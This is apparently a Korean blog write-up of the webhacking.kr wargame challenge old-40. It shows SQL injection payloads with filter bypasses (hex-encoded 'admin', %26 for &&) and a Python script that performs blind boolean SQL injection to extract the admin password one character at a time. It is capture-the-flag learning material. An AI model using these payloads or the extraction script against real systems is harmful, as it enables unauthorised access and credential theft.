write-up(web)/webhacking.kr

[Webhacking.kr] old-40

chanchand 2023. 1. 2. 00:28
반응형

문제


 

 

 

문제풀이


/?no=1&id=guest&pw=guest

no=1 : success 

no=0 : 변화X

그 외 : Failure

 

no=0||1=1 입력 시 success 화면이 출력되는 것으로 보아 no을 이용해서 관리자 계정을 알아낼 수 있을 것 같다.

no, id, pw 값의 끝에 각각 #을 넣고 확인하면 no 값에 넣었을 때만 success가 뜨며, 쿼리문의 순서 마지막이 no인 것으로 유추할 수 있다. &&는 &로 인식하기 때문에 %26로 우회해야 한다.

 

여러가지를 입력해봤을 때, 공백, and, or, char 등 access denied 되는 것을 확인할 수 있고, admin 문자 대신 0x61646D696E 사용할 수 있다.

no=0||id=0x61646D696E 입력 시, 아래 화면을 확인할 수 있고, 여기에 비밀번호를 입력하면 해결되는 것 같다.

 

 

비밀번호를 알아내기 위해 아래와 같이 코드를 작성했다.

 

import requests
import string

cookie={"cookie":"'PHPSESSID'='쿠키값'"}
url="https://webhacking.kr/challenge/web-29/?"

# pw length
pw_len=0
for i in range(0,50):
  query="no=0||id=0x61646D696E%26%26length(pw)={}&id=guest&pw=guest".format(i)

  res=requests.get(url+query,cookies=cookie)
  if (res.text.find("admin")!=-1):
    pw_len=i
    break

print("길이:{}".format(pw_len))


# pw
pw=""

for i in range(1,pw_len+1):
  for j in string.printable:
    query="no=0||id=0x61646D696E%26%26substr(pw,{},1)={}&id=guest&pw=guest".format(i,hex(ord(j)))
    res=requests.get(url+query, cookies=cookie)
    if (res.text.find("admin")!=-1):
      pw+=j
      print(pw)
      break

print("pw:{}".format(pw))

 

반응형

'write-up(web) > webhacking.kr' 카테고리의 다른 글

[Webhacking.kr] old-42  (1) 2023.01.02
[Webhacking.kr] old-41  (1) 2023.01.02
[Webhacking.kr] old-01  (1) 2022.12.31
[Webhacking.kr] old-39  (0) 2022.12.31
[Webhacking.kr] old-38  (0) 2022.12.31